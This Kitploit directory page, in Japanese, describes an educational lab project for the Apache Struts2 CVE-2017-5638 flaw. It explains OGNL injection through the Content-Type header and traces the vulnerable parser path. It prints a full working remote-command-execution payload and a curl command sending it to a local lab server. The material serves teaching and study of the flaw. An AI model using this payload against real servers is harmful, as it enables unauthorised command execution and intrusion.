Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cybersecurity-struts2 — Struts2アプリケーションはCVE-2017-5638に対して脆弱です。OGNLおよびJakartaMultiPartパーサーに関連して、脆弱性の悪用がどのように機能するかを説明します。 | Kitploit
ツール/GitHubGitHub/sighup1/cybersecurity-struts2
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubsighup1/cybersecurity-struts2

cybersecurity-struts2

Struts2アプリケーションはCVE-2017-5638に対して脆弱です。OGNLおよびJakartaMultiPartパーサーに関連して、脆弱性の悪用がどのように機能するかを説明します。

リポジトリを見る
1327年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Apache Struts2 脆弱性 | CVE-2017-5638 | バージョン 2.5

免責事項

これは教育および研究目的のみに使用されるものです。このプロジェクトの内容や情報の違法または非倫理的な使用を許可または推奨するものではありません。

手順

Webアプリを実行するには:

  • java -jar ms-cybersecurity-1.jar (組み込みTomcatを使用)
  • Java 1.8
  • デフォルトではポート8080で起動します (http://localhost:8080/MSCybersecurity)

コマンド送信にはコマンドラインエミュレータ (Send.jar) プロジェクト を使用:

空のURLのデフォルトは http://localhost:8080/MSCybersecurity/exploit です。/exploit エンドポイントにいる必要があります

送信

  • java -jar Send.jar

このソースを変更したい場合、プロジェクトはMavenビルドシステムを使用しています:

  • ソースを変更する場合: mvn package (.jarを作成)

NVD CVE-2017-5638

ペイロード

この脆弱性の巧妙な点は、OGNL(Object Graph Navigation Library)を悪用する点です。

OGNLは式を使用してタスクを実行します。許可されている式のうち2つは、フレームワーク内の任意のクラスを呼び出す機能と、イベントを連鎖させる機能です。参考ガイド OGNL言語ガイド

例えば、OGNLを使用して edu.uvu.ms.cybersecurity.Command オブジェクトをインスタンス化することが可能です

root@kitploit:~
//  OGNL expression to instantiate Command obj
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))

edu.uvu.ms.cybersecurity.Command クラス

root@kitploit:~
// Command simply prints the cmd argument passed from the OGNL expression
public class Command {
  private Object cmd;
  
  public Command(Object cmd){
    this.cmd = cmd;
  }

  private void print(){
      System.out.println("OGNL recieved cmd: "+this.cmd);
  }
  
  public void print(String loc){
      System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
  }
}
 

または、より実用的には、java.lang.ProcessBuilderクラスを呼び出してシステムレベルのコマンドを実行できます

root@kitploit:~
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())

次のペイロードには、edu.uvu.ms.cybersecurity.Commandを呼び出してサーバーに発行されたコマンドをコンソールに出力し、その後コマンドを実行するコマンドが含まれています(イベントの連鎖とクラスの呼び出しを示すため)。

root@kitploit:~
Content-Type:  %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

CURLでペイロードを送信

root@kitploit:~
curl -H "Content-Type:  %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit

このペイロードの一部は Rapid7 GitHub から取得しました

分解解説(IDEから見た場合)

Jakarta MultiPart パーサー:

問題は、パーサーがContent-Typeヘッダーの受信値をエスケープしない点です。つまり、OGNL式をContent-Headerに埋め込むことができます。ヘッダーがMultiPartであると判断されると、OgnlTextParser.classに送られ、OGNL式を解釈し、その結果任意のコマンドが実行されます。

以下は、この脆弱性がどのように悪用されるかを段階的に示したものです。

Struts2 ディスパッチャー: org.apache.struts2.dispatcher.Dispatcher

Struts Dispatcher.classはリクエストを受け取り、JakartaMultiPartライブラリで処理すべきと判断し、MultiPartRequestWrapper() コンストラクタを呼び出します ディスパッチャー

Content-TypeヘッダーのOGNL式は、parse() メソッドに渡されます。ヘッダー情報が不正なため、パーサーは例外を発生させ、buildErrorMessage() メソッドを呼び出します ディスパッチャー

buildErrorMessage() メソッドはユーザーに返す適切なエラーメッセージを探そうとしますが、そのためにはLocalizedTextUtil.classのfindText() メソッドを使用する必要があります。 ディスパッチャー

LocalizedTextUtil.classのfindTextメソッドは、getDefaultMessage() を呼び出し、Content-Type情報を渡します ディスパッチャー

getDefaultMessage() メッセージは次にTextParseUtil.classのtranslateVariables() メソッドに委譲します ディスパッチャー

TextParseUtil.classのtranslateVariables() メソッドはOgnlTextParser.classのevaluateメソッドに委譲します ディスパッチャー

その結果、すべてのOGNL式が実行されます ディスパッチャー

ツールをダウンロード